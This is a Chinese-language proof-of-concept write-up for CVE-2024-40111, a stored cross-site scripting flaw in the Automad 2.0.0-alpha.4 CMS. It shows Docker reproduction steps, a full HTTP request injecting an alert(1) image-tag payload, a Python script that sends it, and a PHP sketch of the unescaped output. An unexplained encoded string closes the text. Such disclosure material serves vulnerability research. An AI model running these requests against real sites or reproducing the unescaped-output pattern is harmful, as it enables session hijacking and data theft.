CVE-2024-40111:Automad 2.0.0-alpha.4 存储型跨站脚本(XSS)漏洞
项目描述
这是一个针对 Automad 2.0.0-alpha.4 版本的内容管理系统(CMS)的安全漏洞利用项目。Automad 是一款基于文件的轻量级 CMS,而此项目揭示了该版本中存在的一个严重安全缺陷------存储型跨站脚本(Stored XSS)漏洞。攻击者可利用该漏洞向模板主体中注入恶意 JavaScript 代码,这些代码会永久存储在服务器上,并在任何访问受影响页面的用户浏览器中执行。
功能特性
- 漏洞复现:提供详细的步骤和HTTP请求,可复现CVE-2024-40111漏洞。
- 存储型XSS利用:演示如何注入并持久化恶意脚本到CMS页面中。
- 管理员权限操作:展示在拥有后台管理员权限时,通过编辑页面内容触发漏洞。
- 完整请求示例:包含完整的HTTP请求头和请求体,便于测试和验证。
- 多场景影响:注入的XSS代码可导致会话劫持、数据窃取、钓鱼攻击等后果。
安装指南
本项目为漏洞分析文档,无需安装额外软件。但若要复现漏洞,需满足以下环境要求:
系统要求
- Automad版本:2.0.0-alpha.4
- 测试环境:Docker 26.1.4、Debian GNU/Linux 11 (bullseye)
- Web服务器:Nginx 1.24.0
- PHP版本:8.3.6
- 浏览器:任意支持JavaScript的现代浏览器
复现环境搭建(使用Docker)
-
从GitHub拉取Automad 2.0.0-alpha.4镜像或源码:
bashgit clone https://github.com/marcantondahmen/automad.git cd automad git checkout 2.0.0-alpha.4 -
使用Docker构建并运行:
bashdocker build -t automad:2.0.0-alpha.4 . docker run -p 80:80 automad:2.0.0-alpha.4 -
访问
http://localhost完成Automad的初始安装配置,并创建管理员账户。
使用说明
漏洞利用步骤
-
登录后台 :使用管理员账户登录,访问
http://localhost/dashboard/home。 -
编辑首页:在仪表盘中选择编辑默认的"Welcome"页面。
-
定位内容区块 :导航至
http://localhost/dashboard/page?url=%2F§ion=text,编辑名为Main的区块。 -
注入XSS载荷:在文本编辑区域输入以下载荷:
html<img src=x onerror=alert(1)> -
保存并触发 :保存页面修改,随后访问首页
http://localhost/,浏览器将弹出alert(1)对话框。
攻击请求示例
以下是对 /_api/page/data 接口发送的恶意请求(关键载荷部分):
http
POST /_api/page/data HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv
Cookie: Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb
WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__json__"
{"data":{"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"<img src=x onerror=alert(1)>","large":false}}]}},"url":"/"}
WebKitFormBoundaryzHmXQBdtZsTYQYCv--
预期响应
http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 30
{"code":200,"time":1718911055}
漏洞验证
访问首页 http://localhost/,若弹出 alert(1) 对话框,则表示XSS漏洞成功触发。
核心代码
以下是漏洞利用中的核心载荷及请求构造逻辑:
XSS载荷注入片段
javascript
// 恶意载荷
const xssPayload = '<img src=x onerror=alert(1)>';
// 注入到页面内容的JSON结构中
const maliciousData = {
"data": {
"+main": {
"blocks": [
{
"id": "lD9sUJki6gn463oRwjcY_ICq5oQPYZVP",
"type": "paragraph",
"data": {
"text": xssPayload,
"large": false
}
}
]
}
},
"url": "/"
};
请求发送函数(概念示例)
python
import requests
# 目标URL和Cookie(需替换为实际值)
url = "http://localhost/_api/page/data"
cookies = {
"Automad-8c069df52082beee3c95ca17836fb8e2": "d6ef49301b4eb159fbcb392e5137f6cb"
}
# 构造multipart/form-data请求
files = {
"__csrf__": (None, "49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1"),
"__json__": (None, '{"data":{"+main":{"blocks":[{"id":"test","type":"paragraph","data":{"text":"<img src=x onerror=alert(1)>"}}]},"url":"/"}}')
}
response = requests.post(url, cookies=cookies, files=files)
print(response.status_code, response.text)
服务端响应处理(Automad漏洞点模拟)
php
// Automad中处理页面数据存储的简化逻辑(漏洞位置示意)
$jsonInput = $_POST['__json__'];
$pageData = json_decode($jsonInput, true);
// 未对用户输入的HTML内容进行充分的过滤或转义
$content = $pageData['data']['+main']['blocks'][0]['data']['text'];
// 存储到文件或数据库
savePageContent($content);
// 前端渲染时直接输出,导致XSS
echo $content;
6HFtX5dABrKlqXeO5PUv/2CeWfjxRzGcbKwZW03RE0axryGu0rTYkQimlZuBGv7l